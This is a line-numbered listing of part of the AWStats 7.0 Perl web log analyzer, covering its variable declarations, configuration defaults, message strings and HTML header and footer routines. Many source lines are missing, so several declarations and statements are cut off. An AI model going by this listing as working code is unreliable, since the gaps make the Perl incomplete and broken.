2
#------------------------------------------------------------------------------
3
# Free realtime web server logfile analyzer to show advanced web statistics.
4
# Works from command line or as a CGI. You must use this script as often as
5
# necessary from your scheduler to update your statistics and from command
6
# line or a browser to read report results.
7
# See AWStats documentation (in docs/ directory) for all setup instructions.
8
#------------------------------------------------------------------------------
9
# $Revision: 1.971 $ - $Author: eldy $ - $Date: 2010/10/16 17:24:03 $
13
#use warnings; # Must be used in test mode only. This reduce a little process speed
14
#use diagnostics; # Must be used in test mode only. This reduce a lot of process speed
18
; # use Time::Local 'timelocal_nocheck' is faster but not supported by all Time::Local modules
22
#------------------------------------------------------------------------------
24
#------------------------------------------------------------------------------
25
use vars qw/ $REVISION $VERSION /;
26
$REVISION = '$Revision: 1.971 $';
27
$REVISION =~ /\s(.*)\s/;
29
$VERSION = "7.0 (build $REVISION)";
31
# ----- Constants -----
33
$DEBUGFORCED $NBOFLINESFORBENCHMARK $FRAMEWIDTH $NBOFLASTUPDATELOOKUPTOSAVE
34
$LIMITFLUSH $NEWDAYVISITTIMEOUT $VISITTIMEOUT $NOTSORTEDRECORDTOLERANCE
35
$WIDTHCOLICON $TOOLTIPON
36
$lastyearbeforeupdate $lastmonthbeforeupdate $lastdaybeforeupdate $lasthourbeforeupdate $lastdatebeforeupdate
40
; # Force debug level to log lesser level into debug.log file (Keep this value to 0)
41
$NBOFLINESFORBENCHMARK = 8192
42
; # Benchmark info are printing every NBOFLINESFORBENCHMARK lines (Must be a power of 2)
43
$FRAMEWIDTH = 240; # Width of left frame when UseFramesWhenCGI is on
44
$NBOFLASTUPDATELOOKUPTOSAVE =
45
500; # Nb of records to save in DNS last update cache file
47
5000; # Nb of records in data arrays after how we need to flush data on disk
48
$NEWDAYVISITTIMEOUT = 764041; # Delay between 01-23:59:59 and 02-00:00:00
50
; # Lapse of time to consider a page load as a new visit. 10000 = 1 hour (Default = 10000)
51
$NOTSORTEDRECORDTOLERANCE = 20000
52
; # Lapse of time to accept a record if not in correct order. 20000 = 2 hour (Default = 20000)
54
$TOOLTIPON = 0; # Tooltips plugin loaded
55
$NOHTML = 0; # Suppress the html headers
57
# ----- Running variables -----
61
$DebugResetDone $DNSLookupAlreadyDone
62
$RunAsCli $UpdateFor $HeaderHTTPSent $HeaderHTMLSent
63
$LastLine $LastLineNumber $LastLineOffset $LastLineChecksum $LastUpdate
67
$AverageVisits $AveragePages $AverageHits $AverageBytes
68
$TotalUnique $TotalVisits $TotalHostsKnown $TotalHostsUnknown
69
$TotalPages $TotalHits $TotalBytes $TotalHitsErrors
70
$TotalNotViewedPages $TotalNotViewedHits $TotalNotViewedBytes
71
$TotalEntries $TotalExits $TotalBytesPages $TotalDifferentPages
72
$TotalKeyphrases $TotalKeywords $TotalDifferentKeyphrases $TotalDifferentKeywords
73
$TotalSearchEnginesPages $TotalSearchEnginesHits $TotalRefererPages $TotalRefererHits $TotalDifferentSearchEngines $TotalDifferentReferer
74
$FrameName $Center $FileConfig $FileSuffix $Host $YearRequired $MonthRequired $DayRequired $HourRequired
75
$QueryString $SiteConfig $StaticLinks $PageCode $PageDir $PerlParsingFormat $UserAgent
76
$pos_vh $pos_host $pos_logname $pos_date $pos_tz $pos_method $pos_url $pos_code $pos_size
77
$pos_referer $pos_agent $pos_query $pos_gzipin $pos_gzipout $pos_compratio $pos_timetaken
78
$pos_cluster $pos_emails $pos_emailr $pos_hostr @pos_extra
80
$DIR = $PROG = $Extension = '';
81
$Debug = $ShowSteps = 0;
82
$DebugResetDone = $DNSLookupAlreadyDone = 0;
83
$RunAsCli = $UpdateFor = $HeaderHTTPSent = $HeaderHTMLSent = 0;
84
$LastLine = $LastLineNumber = $LastLineOffset = $LastLineChecksum = 0;
89
$AverageVisits = $AveragePages = $AverageHits = $AverageBytes = 0;
90
$TotalUnique = $TotalVisits = $TotalHostsKnown = $TotalHostsUnknown = 0;
91
$TotalPages = $TotalHits = $TotalBytes = $TotalHitsErrors = 0;
92
$TotalNotViewedPages = $TotalNotViewedHits = $TotalNotViewedBytes = 0;
93
$TotalEntries = $TotalExits = $TotalBytesPages = $TotalDifferentPages = 0;
94
$TotalKeyphrases = $TotalKeywords = $TotalDifferentKeyphrases = 0;
95
$TotalDifferentKeywords = 0;
96
$TotalSearchEnginesPages = $TotalSearchEnginesHits = $TotalRefererPages = 0;
97
$TotalRefererHits = $TotalDifferentSearchEngines = $TotalDifferentReferer = 0;
99
$FrameName, $Center, $FileConfig, $FileSuffix,
100
$Host, $YearRequired, $MonthRequired, $DayRequired,
101
$HourRequired, $QueryString, $SiteConfig, $StaticLinks,
102
$PageCode, $PageDir, $PerlParsingFormat, $UserAgent
104
= ( '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '' );
106
# ----- Plugins variable -----
107
use vars qw/ %PluginsLoaded $PluginDir $AtLeastOneSectionPlugin /;
110
$AtLeastOneSectionPlugin = 0;
112
# ----- Time vars -----
115
$nowtime $tomorrowtime
116
$nowweekofmonth $nowweekofyear $nowdaymod $nowsmallyear
117
$nowsec $nowmin $nowhour $nowday $nowmonth $nowyear $nowwday $nowyday $nowns
118
$StartSeconds $StartMicroseconds
120
$StartSeconds = $StartMicroseconds = 0;
122
# ----- Variables for config file reading -----
126
$FoundNotPageList = 0;
128
# ----- Config file variables -----
132
$DNSLastUpdateCacheFile
137
$MaxLengthOfStoredURL
142
$ExtraTrackedRowsLimit
147
$DNSStaticCacheFile = 'dnscache.txt';
148
$DNSLastUpdateCacheFile = 'dnscachelastupdate.txt';
149
$MiscTrackerUrl = '/js/awstats_misc_tracker.js';
151
$SectionsToBeSaved = 'all';
152
$MaxRowsInHTMLOutput = 1000;
153
$MaxLengthOfShownURL = 64;
154
$MaxLengthOfStoredURL = 256; # Note: Apache LimitRequestLine is default to 8190
155
$MaxLengthOfStoredUA = 256;
169
$BuildReportFormat = 'html';
170
$BuildHistoryFormat = 'text';
171
$ExtraTrackedRowsLimit = 500;
172
$DatabaseBreak = 'month';
174
$DebugMessages $AllowToUpdateStatsFromBrowser $EnableLockForUpdate $DNSLookup $AllowAccessFromWebToAuthenticatedUsersOnly
175
$BarHeight $BarWidth $CreateDirDataIfNotExists $KeepBackupOfHistoricFiles
176
$NbOfLinesParsed $NbOfLinesDropped $NbOfLinesCorrupted $NbOfLinesComment $NbOfLinesBlank $NbOfOldLines $NbOfNewLines
177
$NbOfLinesShowsteps $NewLinePhase $NbOfLinesForCorruptedLog $PurgeLogFile $ArchiveLogRecords
178
$ShowDropped $ShowCorrupted $ShowUnknownOrigin $ShowDirectOrigin $ShowLinksToWhoIs
179
$ShowAuthenticatedUsers $ShowFileSizesStats $ShowScreenSizeStats $ShowSMTPErrorsStats
180
$ShowEMailSenders $ShowEMailReceivers $ShowWormsStats $ShowClusterStats
181
$IncludeInternalLinksInOriginSection
182
$AuthenticatedUsersNotCaseSensitive
183
$Expires $UpdateStats $MigrateStats $URLNotCaseSensitive $URLWithQuery $URLReferrerWithQuery
188
$AllowToUpdateStatsFromBrowser,
189
$EnableLockForUpdate,
191
$AllowAccessFromWebToAuthenticatedUsersOnly,
194
$CreateDirDataIfNotExists,
195
$KeepBackupOfHistoricFiles,
205
$NbOfLinesForCorruptedLog,
213
$ShowAuthenticatedUsers,
215
$ShowScreenSizeStats,
216
$ShowSMTPErrorsStats,
221
$IncludeInternalLinksInOriginSection,
222
$AuthenticatedUsersNotCaseSensitive,
226
$URLNotCaseSensitive,
228
$URLReferrerWithQuery,
232
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
233
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
236
$DetailedReportsOnNewWindows
237
$FirstDayOfWeek $KeyWordsNotSensitive $SaveDatabaseFilesWithPermissionsForEveryone
238
$WarningMessages $ShowLinksOnUrl $UseFramesWhenCGI
239
$ShowMenu $ShowSummary $ShowMonthStats $ShowDaysOfMonthStats $ShowDaysOfWeekStats
240
$ShowHoursStats $ShowDomainsStats $ShowHostsStats
241
$ShowRobotsStats $ShowSessionsStats $ShowPagesStats $ShowFileTypesStats $ShowDownloadsStats
242
$ShowOSStats $ShowBrowsersStats $ShowOriginStats
243
$ShowKeyphrasesStats $ShowKeywordsStats $ShowMiscStats $ShowHTTPErrorsStats
244
$AddDataArrayMonthStats $AddDataArrayShowDaysOfMonthStats $AddDataArrayShowDaysOfWeekStats $AddDataArrayShowHoursStats
247
$DetailedReportsOnNewWindows,
249
$KeyWordsNotSensitive,
250
$SaveDatabaseFilesWithPermissionsForEveryone,
257
$ShowDaysOfMonthStats,
258
$ShowDaysOfWeekStats,
270
$ShowKeyphrasesStats,
273
$ShowHTTPErrorsStats,
274
$AddDataArrayMonthStats,
275
$AddDataArrayShowDaysOfMonthStats,
276
$AddDataArrayShowDaysOfWeekStats,
277
$AddDataArrayShowHoursStats
280
1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
281
1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1
285
$LevelForRobotsDetection $LevelForWormsDetection $LevelForBrowsersDetection $LevelForOSDetection $LevelForRefererAnalyze
286
$LevelForFileTypesDetection $LevelForSearchEnginesDetection $LevelForKeywordsDetection
289
$AllowFullYearView, $LevelForRobotsDetection,
290
$LevelForWormsDetection, $LevelForBrowsersDetection,
291
$LevelForOSDetection, $LevelForRefererAnalyze,
292
$LevelForFileTypesDetection, $LevelForSearchEnginesDetection,
293
$LevelForKeywordsDetection
295
= ( 2, 2, 0, 2, 2, 2, 2, 2, 2 );
297
$DirLock $DirCgi $DirConfig $DirData $DirIcons $DirLang $AWScript $ArchiveFileName
298
$AllowAccessFromWebToFollowingIPAddresses $HTMLHeadSection $HTMLEndSection $LinksToWhoIs $LinksToIPWhoIs
299
$LogFile $LogType $LogFormat $LogSeparator $Logo $LogoLink $StyleSheet $WrapperScript $SiteDomain
300
$UseHTTPSLinkForUrl $URLQuerySeparators $URLWithAnchor $ErrorMessages $ShowFlagLinks
304
$DirConfig, $DirData,
306
$AWScript, $ArchiveFileName,
307
$AllowAccessFromWebToFollowingIPAddresses, $HTMLHeadSection,
308
$HTMLEndSection, $LinksToWhoIs,
309
$LinksToIPWhoIs, $LogFile,
310
$LogType, $LogFormat,
311
$LogSeparator, $Logo,
312
$LogoLink, $StyleSheet,
313
$WrapperScript, $SiteDomain,
314
$UseHTTPSLinkForUrl, $URLQuerySeparators,
315
$URLWithAnchor, $ErrorMessages,
319
'', '', '', '', '', '', '', '', '', '', '', '', '', '',
320
'', '', '', '', '', '', '', '', '', '', '', '', ''
323
$color_Background $color_TableBG $color_TableBGRowTitle
324
$color_TableBGTitle $color_TableBorder $color_TableRowTitle $color_TableTitle
325
$color_text $color_textpercent $color_titletext $color_weekend $color_link $color_hover $color_other
326
$color_h $color_k $color_p $color_e $color_x $color_s $color_u $color_v
329
$color_Background, $color_TableBG, $color_TableBGRowTitle,
330
$color_TableBGTitle, $color_TableBorder, $color_TableRowTitle,
331
$color_TableTitle, $color_text, $color_textpercent,
332
$color_titletext, $color_weekend, $color_link,
333
$color_hover, $color_other, $color_h,
334
$color_k, $color_p, $color_e,
335
$color_x, $color_s, $color_u,
339
'', '', '', '', '', '', '', '', '', '', '', '',
340
'', '', '', '', '', '', '', '', '', ''
343
# ---------- Init arrays --------
345
@RobotsSearchIDOrder_list1 @RobotsSearchIDOrder_list2 @RobotsSearchIDOrder_listgen
346
@SearchEnginesSearchIDOrder_list1 @SearchEnginesSearchIDOrder_list2 @SearchEnginesSearchIDOrder_listgen
347
@BrowsersSearchIDOrder @OSSearchIDOrder @WordsToExtractSearchUrl @WordsToCleanSearchUrl
349
@RobotsSearchIDOrder @SearchEnginesSearchIDOrder
351
@_time_p @_time_h @_time_k @_time_nv_p @_time_nv_h @_time_nv_k
352
@DOWIndex @fieldlib @keylist
354
@RobotsSearchIDOrder = @SearchEnginesSearchIDOrder = ();
355
@_from_p = @_from_h = ();
356
@_time_p = @_time_h = @_time_k = @_time_nv_p = @_time_nv_h = @_time_nv_k = ();
357
@DOWIndex = @fieldlib = @keylist = ();
359
@MiscListOrder %MiscListCalc
360
%OSFamily %BrowsersFamily @SessionsRange %SessionsAverage
361
%LangBrowserToLangAwstats %LangAWStatsToFlagAwstats %BrowsersSafariBuildToVersionHash
362
@HostAliases @AllowAccessFromWebToFollowingAuthenticatedUsers
363
@DefaultFile @SkipDNSLookupFor
364
@SkipHosts @SkipUserAgents @SkipFiles @SkipReferrers @NotPageFiles
365
@OnlyHosts @OnlyUserAgents @OnlyFiles @OnlyUsers
366
@URLWithQueryWithOnly @URLWithQueryWithout
367
@ExtraName @ExtraCondition @ExtraStatTypes @MaxNbOfExtra @MinHitExtra
368
@ExtraFirstColumnTitle @ExtraFirstColumnValues @ExtraFirstColumnFunction @ExtraFirstColumnFormat
369
@ExtraCodeFilter @ExtraConditionType @ExtraConditionTypeVal
370
@ExtraFirstColumnValuesType @ExtraFirstColumnValuesTypeVal
371
@ExtraAddAverageRow @ExtraAddSumRow
375
'AddToFavourites', 'JavascriptDisabled',
376
'JavaEnabled', 'DirectorSupport',
377
'FlashSupport', 'RealPlayerSupport',
378
'QuickTimeSupport', 'WindowsMediaPlayerSupport',
383
'AddToFavourites' => 'u',
384
'JavascriptDisabled' => 'hm',
385
'JavaEnabled' => 'hm',
386
'DirectorSupport' => 'hm',
387
'FlashSupport' => 'hm',
388
'RealPlayerSupport' => 'hm',
389
'QuickTimeSupport' => 'hm',
390
'WindowsMediaPlayerSupport' => 'hm',
394
( '0s-30s', '30s-2mn', '2mn-5mn', '5mn-15mn', '15mn-30mn', '30mn-1h', '1h+' );
396
'0s-30s', 15, '30s-2mn', 75, '2mn-5mn', 210,
397
'5mn-15mn', 600, '15mn-30mn', 1350, '30mn-1h', 2700,
401
# HTTP-Accept or Lang parameter => AWStats code to use for lang
402
# ISO-639-1 or 2 or other => awstats-xx.txt where xx is ISO-639-1
403
%LangBrowserToLangAwstats = (
447
%LangAWStatsToFlagAwstats =
448
( # If flag (country ISO-3166 two letters) is not same than AWStats Lang code
460
@HostAliases = @AllowAccessFromWebToFollowingAuthenticatedUsers = ();
461
@DefaultFile = @SkipDNSLookupFor = ();
462
@SkipHosts = @SkipUserAgents = @NotPageFiles = @SkipFiles = @SkipReferrers = ();
463
@OnlyHosts = @OnlyUserAgents = @OnlyFiles = @OnlyUsers = ();
464
@URLWithQueryWithOnly = @URLWithQueryWithout = ();
465
@ExtraName = @ExtraCondition = @ExtraStatTypes = ();
466
@MaxNbOfExtra = @MinHitExtra = ();
467
@ExtraFirstColumnTitle = @ExtraFirstColumnValues = ();
468
@ExtraFirstColumnFunction = @ExtraFirstColumnFormat = ();
469
@ExtraCodeFilter = @ExtraConditionType = @ExtraConditionTypeVal = ();
470
@ExtraFirstColumnValuesType = @ExtraFirstColumnValuesTypeVal = ();
471
@ExtraAddAverageRow = @ExtraAddSumRow = ();
474
# ---------- Init hash arrays --------
476
%BrowsersHashIDLib %BrowsersHashIcon %BrowsersHereAreGrabbers
478
%MimeHashLib %MimeHashFamily
480
%RobotsHashIDLib %RobotsAffiliateLib
481
%SearchEnginesHashID %SearchEnginesHashLib %SearchEnginesWithKeysNotInQuery %SearchEnginesKnownUrl %NotSearchEnginesKeys
482
%WormsHashID %WormsHashLib %WormsHashTarget
485
%HTMLOutput %NoLoadPlugin %FilterIn %FilterEx
488
%ValidHTTPCodes %ValidSMTPCodes
489
%TrapInfosForHTTPErrorCodes %NotPageList %DayBytes %DayHits %DayPages %DayVisits
491
%ListOfYears %HistoryAlreadyFlushed %PosInFile %ValueInFile
493
%TmpDNSLookup %TmpOS %TmpRefererServer %TmpRobot %TmpBrowser %MyDNSTable
495
%HTMLOutput = %NoLoadPlugin = %FilterIn = %FilterEx = ();
496
%BadFormatWarning = ();
498
%ValidHTTPCodes = %ValidSMTPCodes = ();
499
%TrapInfosForHTTPErrorCodes = ();
500
$TrapInfosForHTTPErrorCodes{404} = 1; # TODO Add this in config file
502
%DayBytes = %DayHits = %DayPages = %DayVisits = ();
503
%MaxNbOf = %MinHit = ();
504
%ListOfYears = %HistoryAlreadyFlushed = %PosInFile = %ValueInFile = ();
505
%val = %nextval = %egal = ();
506
%TmpDNSLookup = %TmpOS = %TmpRefererServer = %TmpRobot = %TmpBrowser = ();
510
%MonthHostsKnown %MonthHostsUnknown
511
%MonthUnique %MonthVisits
512
%MonthPages %MonthHits %MonthBytes
513
%MonthNotViewedPages %MonthNotViewedHits %MonthNotViewedBytes
514
%_session %_browser_h
515
%_domener_p %_domener_h %_domener_k %_errors_h %_errors_k
516
%_filetypes_h %_filetypes_k %_filetypes_gz_in %_filetypes_gz_out
517
%_host_p %_host_h %_host_k %_host_l %_host_s %_host_u
518
%_waithost_e %_waithost_l %_waithost_s %_waithost_u
519
%_keyphrases %_keywords %_os_h %_pagesrefs_p %_pagesrefs_h %_robot_h %_robot_k %_robot_l %_robot_r
520
%_worm_h %_worm_k %_worm_l %_login_h %_login_p %_login_k %_login_l %_screensize_h
521
%_misc_p %_misc_h %_misc_k
522
%_cluster_p %_cluster_h %_cluster_k
523
%_se_referrals_p %_se_referrals_h %_sider404_h %_referer404_h %_url_p %_url_k %_url_e %_url_x
525
%_unknownreferer_l %_unknownrefererbrowser_l
526
%_emails_h %_emails_k %_emails_l %_emailr_h %_emailr_k %_emailr_l
530
# ---------- Init Regex --------
531
use vars qw/ $regclean1 $regclean2 $regdate /;
532
$regclean1 = qr/<(recnb|\/td)>/i;
533
$regclean2 = qr/<\/?[^<>]+>/i;
534
$regdate = qr/(\d\d\d\d)(\d\d)(\d\d)(\d\d)(\d\d)(\d\d)/;
536
# ---------- Init Tie::hash arrays --------
537
# Didn't find a tie that increase speed
539
#use Tie::Cache::LRU;
540
#tie %_host_p, 'Tie::StdHash';
541
#tie %TmpOS, 'Tie::Cache::LRU';
544
use vars qw/ %httpcodelib %ftpcodelib %smtpcodelib /;
547
use vars qw/ @Message /;
550
'Unknown (unresolved ip)',
562
'different keywords',
573
'Never updated (See \'Build/Update\' on awstats_setup.html page)',
574
'Visitors domains/countries',
577
'different pages-url',
585
'Connect to site from',
587
'Direct address / Bookmarks',
589
'Links from an Internet Search Engine',
590
'Links from an external page (other web sites except search engines)',
591
'Links from an internal page (other page on same site)',
592
'Keyphrases used on search engines',
593
'Keywords used on search engines',
594
'Unresolved IP Address',
595
'Unknown OS (Referer field)',
596
'Required but not found URLs (HTTP code 404)',
599
'Unknown browsers (Referer field)',
602
'Robots/Spiders visitors',
603
'Free realtime logfile analyzer for advanced web statistics',
627
'dd mmm yyyy - HH:MM',
643
'Authenticated users',
650
'Compression result',
652
'different keyphrases',
656
'Links from a NewsGroup',
669
'Search Keyphrases',
670
'Search Keywords',
671
'different refering search engines',
672
'different refering sites',
674
'Other logins (and/or anonymous users)',
675
'Refering search engines',
678
'Exact value not available in "Year" view',
685
'Worm/Virus attacks',
686
'Hit on favorite icon',
689
'Browsers with Java support',
690
'Browsers with Macromedia Director Support',
691
'Browsers with Flash Support',
692
'Browsers with Real audio playing support',
693
'Browsers with Quictime audio playing support',
694
'Browsers with Windows Media audio playing support',
695
'Browsers with PDF support',
703
'Codes shown here gave hits or traffic "not viewed" by visitors, so they are not included in other charts.',
705
'Robots shown here gave hits or traffic "not viewed" by visitors, so they are not included in other charts.',
706
'Numbers after + are successful hits on "robots.txt" files',
707
'Worms shown here gave hits or traffic "not viewed" by visitors, so thay are not included in other charts.',
708
'Not viewed traffic includes traffic generated by robots, worms, or replies with special HTTP status codes.',
710
'Traffic not viewed',
714
'Mails successfully sent',
715
'Mails failed/refused',
717
'Javascript disabled',
725
'Konqueror versions',
730
#------------------------------------------------------------------------------
732
#------------------------------------------------------------------------------
734
# Function to solve pb with openvms
737
foreach my $fl (@_) {
744
#------------------------------------------------------------------------------
745
# Function: Write on output header of HTTP answer
747
# Input: $HeaderHTTPSent $BuildReportFormat $PageCode $Expires
748
# Output: $HeaderHTTPSent=1
750
#------------------------------------------------------------------------------
752
if ( !$HeaderHTTPSent ) {
753
my $newpagecode = $PageCode ? $PageCode : "utf-8";
754
if ( $BuildReportFormat eq 'xhtml' || $BuildReportFormat eq 'xml' ) {
755
print( $ENV{'HTTP_USER_AGENT'} =~ /MSIE|Googlebot/i
756
? "Content-type: text/html; charset=$newpagecode\n"
757
: "Content-type: text/xml; charset=$newpagecode\n"
760
else { print "Content-type: text/html; charset=$newpagecode\n"; }
762
# Expires must be GMT ANSI asctime and must be after Content-type to avoid pb with some servers (SAMBAR)
763
if ( $Expires =~ /^\d+$/ ) {
764
print "Cache-Control: public\n";
765
print "Last-Modified: " . gmtime($starttime) . "\n";
766
print "Expires: " . ( gmtime( $starttime + $Expires ) ) . "\n";
773
#------------------------------------------------------------------------------
774
# Function: Write on output header of HTML page
776
# Input: %HTMLOutput $PluginMode $Expires $Lang $StyleSheet $HTMLHeadSection $PageCode $PageDir
777
# Output: $HeaderHTMLSent=1
779
#------------------------------------------------------------------------------
781
my $dir = $PageDir ? 'right' : 'left';
782
if ($NOHTML) { return; }
783
if ( scalar keys %HTMLOutput || $PluginMode ) {
784
my $periodtitle = " ($YearRequired";
785
$periodtitle .= ( $MonthRequired ne 'all' ? "-$MonthRequired" : "" );
786
$periodtitle .= ( $DayRequired ne '' ? "-$DayRequired" : "" );
787
$periodtitle .= ( $HourRequired ne '' ? "-$HourRequired" : "" );
791
if ( $BuildReportFormat eq 'xhtml' || $BuildReportFormat eq 'xml' ) {
793
print "<?xml version=\"1.0\" encoding=\"$PageCode\"?>\n";
795
else { print "<?xml version=\"1.0\" encoding=\"iso-8859-1\"?>\n"; }
796
if ( $FrameName ne 'index' ) {
798
"<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\n";
802
"<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Frameset//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd\">\n";
805
"<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"$Lang\">\n";
808
if ( $FrameName ne 'index' ) {
810
"<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">\n";
814
"<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01 Frameset//EN\">\n";
816
print '<html lang="' . $Lang . '"'
817
. ( $PageDir ? ' dir="rtl"' : '' ) . ">\n";
822
if ( $BuildReportFormat eq 'xhtml' || $BuildReportFormat eq 'xml' ) {
826
# Affiche tag meta generator
828
"<meta name=\"generator\" content=\"AWStats $VERSION from config file awstats.$SiteConfig.conf (http://awstats.sourceforge.net)\"$endtag\n";
830
# Affiche tag meta robots
832
print "<meta name=\"robots\" content=\""
833
. ( $FrameName eq 'mainleft' ? 'no' : '' )
835
. ( $FrameName eq 'mainleft'
836
|| $FrameName eq 'index' ? '' : 'no' )
837
. "follow\"$endtag\n";
840
print "<meta name=\"robots\" content=\"noindex,nofollow\"$endtag\n";
843
# Affiche tag meta content-type
844
if ( $BuildReportFormat eq 'xhtml' || $BuildReportFormat eq 'xml' ) {
845
print( $ENV{'HTTP_USER_AGENT'} =~ /MSIE|Googlebot/i
846
? "<meta http-equiv=\"content-type\" content=\"text/html; charset="
847
. ( $PageCode ? $PageCode : "iso-8859-1" )
849
: "<meta http-equiv=\"content-type\" content=\"text/xml; charset="
850
. ( $PageCode ? $PageCode : "iso-8859-1" )
856
"<meta http-equiv=\"content-type\" content=\"text/html; charset="
857
. ( $PageCode ? $PageCode : "iso-8859-1" )
862
print "<meta http-equiv=\"expires\" content=\""
863
. ( gmtime( $starttime + $Expires ) )
867
%HTMLOutput; # This is to have a unique title and description page
868
print "<meta http-equiv=\"description\" content=\""
870
. " - Advanced Web Statistics for $SiteDomain$periodtitle"
871
. ( $k[0] ? " - " . $k[0] : "" )
873
if ( $MetaRobot && $FrameName ne 'mainleft' ) {
875
"<meta http-equiv=\"keywords\" content=\"$SiteDomain, free, advanced, realtime, web, server, logfile, log, analyzer, analysis, statistics, stats, perl, analyse, performance, hits, visits\"$endtag\n";
877
print "<title>$Message[7] $SiteDomain$periodtitle"
878
. ( $k[0] ? " - " . $k[0] : "" )
880
if ( $FrameName ne 'index' ) {
883
print "<link rel=\"stylesheet\" href=\"$StyleSheet\" />\n";
886
# A STYLE section must be in head section. Do not use " for number in a style section
887
print "<style type=\"text/css\">\n";
888
if ( $BuildReportFormat eq 'xhtml' || $BuildReportFormat eq 'xml' )
890
print( $ENV{'HTTP_USER_AGENT'} =~ /Firebird/i
895
else { print "<!--\n"; }
897
if ( !$StyleSheet ) {
899
"body { font: 11px verdana, arial, helvetica, sans-serif; background-color: #$color_Background; margin-top: 0; margin-bottom: 0; }\n";
900
print ".aws_bodyl { }\n";
902
".aws_border { border-collapse: collapse; background-color: #$color_TableBG; padding: 1px 1px "
903
. ( $BuildReportFormat eq 'xhtml'
904
|| $BuildReportFormat eq 'xml' ? "2px" : "1px" )
905
. " 1px; margin-top: 0px; margin-bottom: 0px; }\n";
907
".aws_title { font: 13px verdana, arial, helvetica, sans-serif; font-weight: bold; background-color: #$color_TableBGTitle; text-align: center; margin-top: 0; margin-bottom: 0; padding: 1px 1px 1px 1px; color: #$color_TableTitle; }\n";
909
".aws_blank { font: 13px verdana, arial, helvetica, sans-serif; background-color: #$color_Background; text-align: center; margin-bottom: 0; padding: 1px 1px 1px 1px; }\n";
912
background-color: #$color_Background;
913
border-top-width: 1px;
914
border-left-width: 0px;
915
border-right-width: 0px;
916
border-bottom-width: 0px;
918
.aws_formfield { font: 13px verdana, arial, helvetica; }
920
font-family: arial,verdana,helvetica, sans-serif;
922
border: 1px solid #ccd7e0;
923
background-image : url($DirIcons/other/button.gif);
925
th { border-color: #$color_TableBorder; border-left-width: 0px; border-right-width: 1px; border-top-width: 0px; border-bottom-width: 1px; padding: 1px 2px 1px 1px; font: 11px verdana, arial, helvetica, sans-serif; text-align:center; color: #$color_titletext; }
926
th.aws { border-color: #$color_TableBorder; border-left-width: 0px; border-right-width: 1px; border-top-width: 0px; border-bottom-width: 1px; padding: 1px 2px 1px 1px; font-size: 13px; font-weight: bold; }
927
td { border-color: #$color_TableBorder; border-left-width: 0px; border-right-width: 1px; border-top-width: 0px; border-bottom-width: 1px; font: 11px verdana, arial, helvetica, sans-serif; text-align:center; color: #$color_text; }
928
td.aws { border-color: #$color_TableBorder; border-left-width: 0px; border-right-width: 1px; border-top-width: 0px; border-bottom-width: 1px; font: 11px verdana, arial, helvetica, sans-serif; text-align:$dir; color: #$color_text; padding: 0px;}
929
td.awsm { border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; border-bottom-width: 0px; font: 11px verdana, arial, helvetica, sans-serif; text-align:$dir; color: #$color_text; padding: 0px; }
930
b { font-weight: bold; }
931
a { font: 11px verdana, arial, helvetica, sans-serif; }
932
a:link { color: #$color_link; text-decoration: none; }
933
a:visited { color: #$color_link; text-decoration: none; }
934
a:hover { color: #$color_hover; text-decoration: underline; }
935
.currentday { font-weight: bold; }
939
# Call to plugins' function AddHTMLStyles
940
foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLStyles'} } )
942
my $function = "AddHTMLStyles_$pluginname";
946
if ( $BuildReportFormat eq 'xhtml' || $BuildReportFormat eq 'xml' )
948
print( $ENV{'HTTP_USER_AGENT'} =~ /Firebird/i
953
else { print "//-->\n"; }
957
# les scripts necessaires pour trier avec Tablekit
958
# print "<script type=\"text\/javascript\" src=\"/js/prototype.js\"><\/script>";
959
# print "<script type=\"text\/javascript\" src=\"/js/fabtabulous.js\"><\/script>";
960
# print "<script type=\"text\/javascript\" src=\"/js/mytablekit.js\"><\/script>";
962
# Call to plugins' function AddHTMLHeader
963
foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLHeader'} } )
965
my $function = "AddHTMLHeader_$pluginname";
970
if ( $FrameName ne 'index' ) {
971
print "<body style=\"margin-top: 0px\"";
972
if ( $FrameName eq 'mainleft' ) { print " class=\"aws_bodyl\""; }
979
#------------------------------------------------------------------------------
980
# Function: Write on output end of HTML page
981
# Parameters: 0|1 (0=no list plugins,1=list plugins)
982
# Input: %HTMLOutput $HTMLEndSection $FrameName $BuildReportFormat
985
#------------------------------------------------------------------------------
987
my $listplugins = shift || 0;
988
if ( scalar keys %HTMLOutput ) {
990
# Call to plugins' function AddHTMLBodyFooter
991
foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLBodyFooter'} } )
994
# my $function="AddHTMLBodyFooter_$pluginname()";
996
my $function = "AddHTMLBodyFooter_$pluginname";
1000
if ( $FrameName ne 'index' && $FrameName ne 'mainleft' ) {
1001
print "$Center<br /><br />\n";
1003
"<span dir=\"ltr\" style=\"font: 11px verdana, arial, helvetica; color: #$color_text;\">";
1005
"<b>Advanced Web Statistics $VERSION</b> - <a href=\"http://awstats.sourceforge.net\" target=\"awstatshome\">";
1006
print $Message[169] . " $PROG";
1008
my $atleastoneplugin = 0;
1009
foreach my $pluginname ( keys %{ $PluginsLoaded{'init'} } ) {
1010
if ( !$atleastoneplugin ) {
1011
$atleastoneplugin = 1;
1012
print " ($Message[170]: ";
1014
else { print ", "; }
1015
print "$pluginname";
1017
if ($atleastoneplugin) { print ")"; }
1019
print "</a></span><br />\n";
1020
if ($HTMLEndSection) { print "<br />\n$HTMLEndSection\n"; }
1023
if ( $FrameName ne 'index' ) {
1024
if ( $FrameName ne 'mainleft' && $BuildReportFormat eq 'html' ) {
1031
